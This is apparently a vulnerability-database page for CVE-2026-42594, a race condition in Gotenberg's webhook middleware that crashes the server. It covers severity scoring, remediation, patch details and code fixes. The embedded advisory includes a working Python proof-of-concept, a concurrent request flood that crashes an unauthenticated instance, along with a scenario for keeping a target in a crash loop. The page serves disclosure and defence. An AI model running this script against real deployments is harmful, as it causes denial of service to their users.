Skip to main content

Gotenberg EUVDEUVD-2026-30312

| CVE-2026-42594 HIGH
Race Condition (CWE-362)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-r33j-c622-r6qp
7.5
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Gotenberg API endpoint
  2. Delivery
    Send concurrent webhook conversion requests
  3. Exploit
    Trigger echo.Context pool recycling
  4. Execution
    Induce type assertion panic in webhook goroutine
  5. Persist
    Crash Gotenberg process
  6. Impact
    Sustain request loop to prevent recovery

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Concurrency control, locking
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Default Gotenberg 8.x configuration with webhook middleware enabled (no special flags required). Attacker must reach the HTTP API endpoint (typically port 3000) from any network location - no authentication, no API keys, no user interaction. The webhook-deny-list feature filters only the destination URL submitted in Gotenberg-Webhook-Url headers (blocking RFC 1918 private ranges by default) but does not restrict the source IP or identity of the request submitter, so any Internet client can POST conversion jobs with webhooks to external destinations like httpbin.org. Exploitation success depends on timing: concurrent requests must recycle the echo.Context from the pool while the webhook goroutine is still executing, creating a ~2-second race window. The proof-of-concept achieves reliable crashes by saturating the context pool with high request volume (84 concurrent threads). Limiting factors: deployments behind strict firewall rules (e.g., internal-only access, VPN-gated endpoints) reduce attacker surface to authenticated insiders. Disabling webhook functionality via --webhook-disable=true prevents async goroutine spawning entirely, eliminating the race condition but also removing webhook features.

Impact

Real-world risk is HIGH despite moderate CVSS 7.5 base score. CVSS vector AV:N/AC:L/PR:N/UI:N confirms trivial remote exploitation with no authentication, low complexity, and no user interaction required. The proof-of-concept demonstrates deterministic crashes in two seconds using commodity Python tooling against default Docker configurations, meaning any Internet-facing Gotenberg instance is exploitable. Complete availability impact (A:H) is accurate: each crash drops all in-flight conversions, abandons queued webhook deliveries, and resets internal state. Automated restart policies (Kubernetes liveness probes, Docker Compose defaults, systemd) mitigate permanent outages but create a continuous crash-restart loop under sustained attack, producing effective denial of service. EPSS and KEV data are not provided, so mass exploitation status is unknown; however, the GitHub advisory disclosure and trivial exploitation lower the barrier for opportunistic attacks. SSVC decision tree: exploitation POC confirmed public, automatable (single Python script), technical impact total (process termination). Prioritize patching any public-facing or multi-tenant Gotenberg deployments immediately. Internal-only instances behind strict network ACLs face lower but non-zero risk if untrusted users submit conversion jobs.

Exploit ScenarioDerived

An unauthenticated attacker on the public Internet identifies a Gotenberg instance at https://pdf.example.com:3000 by fingerprinting the /version endpoint. Using the provided proof-of-concept Python script, the attacker spawns 24 threads sending HTML-to-PDF conversion requests with Gotenberg-Webhook-Url: http://httpbin.org/post headers (bypassing webhook-deny-list because httpbin.org is external) plus 60 threads hammering /version to accelerate context pool churn. Within two seconds, the race condition triggers: a webhook goroutine dereferences a nil logger from a recycled echo.Context, panicking outside any recovery scope. The Gotenberg process exits with code 2. Kubernetes detects the crash via liveness probe failure, restarts the pod, and the attacker repeats the script every three seconds. Legitimate users see HTTP 502 Bad Gateway errors during the continuous crash-restart loop, achieving sustained denial of service with minimal attacker resources.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Unauthenticated remote attackers crash Gotenberg 8.x (≤ 8.31.0) by triggering a race condition between webhook goroutine context reuse and Echo framework connection pooling. When webhook middleware spawns an async goroutine holding an echo.Context reference, the synchronous handler returns immediately, recycling the context to Echo's sync.Pool. Concurrent requests reset the pooled context, causing unchecked type assertions in the still-running webhook goroutine to panic outside any recover() scope, terminating the process with exit code 2. Twenty-four webhook requests plus sixty concurrent GET requests demonstrate reliable two-second crash windows. No patch was available at initial disclosure; upstream commit fixes the panic in version 8.32.0. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects trivial unauthenticated network exploitation producing complete service disruption.

RemediationAI

Upgrade to Gotenberg 8.32.0 or later, which replaces the unchecked type assertion with guarded nil checks and adds a top-level defer-recover block in webhook goroutines (fix confirmed in GitHub advisory GHSA-r33j-c622-r6qp). Docker users: pull gotenberg/gotenberg:8.32.0 or :latest and redeploy containers. Kubernetes: update image tags in Deployment manifests and roll out pods. For environments unable to patch immediately, disable webhook functionality by setting --webhook-disable=true at process startup; this eliminates async goroutine spawning but removes webhook delivery features entirely. Alternatively, restrict webhook endpoint access using reverse proxy rules (nginx location blocks, Envoy route filters) to reject POST requests to /forms/*/convert/* paths carrying Gotenberg-Webhook-Url headers, though this breaks legitimate webhook workflows. Network segmentation (firewall rules allowing only trusted source IPs to port 3000) reduces external attack surface but does not prevent abuse by internal users in multi-tenant scenarios. Rate limiting at the ingress layer (10 requests/second per source IP) slows exploitation but does not prevent eventual crashes. All workarounds trade functionality or usability for partial risk reduction; only upgrading to 8.32.0 fully resolves the race condition.

Affected VersionsENISA

gotenberg < 8.32.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.32.0
euvd gotenberg fix: 8.32.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Docker-powered HTTP API for converting documents (HTML, Markdown, Office formats) to PDF using Chromium and LibreOffice. The vulnerable code resides in the Echo web framework middleware chain: pkg/modules/webhook/middleware.go spawns goroutines to handle asynchronous webhook deliveries, and pkg/modules/api/middlewares.go implements request lifecycle guards. Echo (labstack/echo) uses sync.Pool to recycle echo.Context objects across requests for performance. The root cause is CWE-362 (Race Condition): the webhook goroutine retains a pointer to a pooled context after the HTTP handler returns, violating Go's sync.Pool contract that objects must not be referenced after Put(). When c.Reset() clears the context store and a new request populates it, the webhook goroutine's type assertion c.Get("logger").(*slog.Logger) at line 398 reads nil and panics. Go's runtime terminates the process because the panic occurs outside the defer recover() block that begins later in the handler stack. The CPE pkg:go/github.com_gotenberg_gotenberg_v8 identifies all v8 releases through 8.31.0 as vulnerable; 8.32.0 patches the assertion and adds defensive recovery blocks.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

go
w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

go
if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

go
return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

bash
docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

python
import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"
# passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
        STOP.set()
        break

Observed output:

process crashed after 2.2s, exit code 2

Container stderr captured with docker logs gotenberg-poc:

panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
    /home/pkg/modules/api/middlewares.go:398 +0x2e6
    /home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
    /home/pkg/modules/webhook/middleware.go:338 +0x1176

Impact

Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.

Recommended Fix

Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:

go
logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
    return errors.New("context reused from pool before middleware chain populated it")
}

Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:

go
go func() {
    defer func() {
        if r := recover(); r != nil {
            ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
            handleError(fmt.Errorf("internal error: %v", r))
        }
    }()
    defer cancel()
    defer w.asyncCount.Add(-1)
    ...
}()

A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.

--- *Found by aisafe.io*

Executive ViewAI

Why It Matters

Gotenberg 8.31.0 and earlier versions are vulnerable to unauthenticated remote denial-of-service attacks that reliably crash the service within seconds through a race condition in webhook processing. Any organization relying on Gotenberg for document conversion or PDF generation faces complete service unavailability with minimal attacker effort, directly impacting business operations dependent on these capabilities.

Business Impact: High
Compensating Controls

Until upgrade to version 8.32.0 is completed: (1) Restrict network access to Gotenberg instances to trusted internal sources only; (2) Implement connection rate limiting and request throttling at reverse proxy or load balancer (target: ≤20 webhook + ≤30 concurrent GET requests per second); (3) Deploy process monitoring and auto-restart capabilities to minimize downtime; (4) Consider temporarily disabling webhook functionality if not actively required; (5) Establish alerting on unexpected process terminations with exit code 2.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Race conditions occur when multiple concurrent requests exploit the brief time gap between checking a condition and acting upon it (TOCTOU - Time of Check, Time of Use).

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy